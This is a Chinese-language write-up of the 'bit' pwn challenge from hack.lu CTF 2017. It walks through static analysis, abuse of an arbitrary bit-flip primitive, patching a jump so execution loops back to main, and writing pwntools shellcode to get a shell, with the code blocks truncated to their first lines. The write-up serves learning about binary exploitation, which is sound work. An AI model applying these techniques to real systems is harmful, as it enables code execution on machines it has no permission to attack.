hacklu ctf 2017 pwn writeup
bit
通过静态分析我们得到一些结论
输入的参数以%lx:%u
组成,即由16进制数和无符号整型组成,中间以冒号分隔
此外,在静态分析的过程中我们会发现程序调用了mprotect
函数,这会意味着,我们将由条件去修改内存的权限(也许是不可执行修改为可执行)
1 | text:00000000004006A7 loc_4006A7: ; CODE XREF: main+68↑j |
当我们继续往下分析当时候,我们会发现一个算是逻辑漏洞当点,就是,程序会去修改已经存在于指定的地址中的值
1 | .text:00000000004006D7 mov rdx, cs:qword_601018 |
程序在0x400721会由一个canary 检查,检查程序是否发生栈溢出
通过checksec
的检查,我们也会发现他开启了canary,nx,full relr0防护
1 | pwndbg> checksec |
那么我们如何去getshell呢?
题目的关键还是在那个指定地址,然后修改一位的地方,其实思路也是很简单,我们去注入shellcode在一个指定的地址,然后不断的去修改指定地址的值,直到修改到shellcode的地址,由于mprotect的作用,我们就可以获取一个shell
exploit 编写
第一步
思路,
1 | .text:0000000000400721 xor rsi, fs:28h |
我们注意到40072a这个地方有个跳转,我们可以进行去patch,让他不断到跳转到main函数去
io.sendline("0x40072b:4")
第二步
当我们这个时候,我们已经能够成功不断当返回到main函数之后,我们需要在一个地方写入shellcode
我们发现0x400570
是个不错到选择,因为这快基本不会被调用到
1 | shellcode = asm(shellcraft.amd64.sh()) |
紧接着,我们只需要重新修改40072c到shellcdoe地址就可以
1 | new_call="\xe8\x3f\xfe\xff\xff" # call 0x400570 (shellcode) |
最后伪造canary到验证io.sendline(0x400720:0)
完整exp
1 | from pwn import * |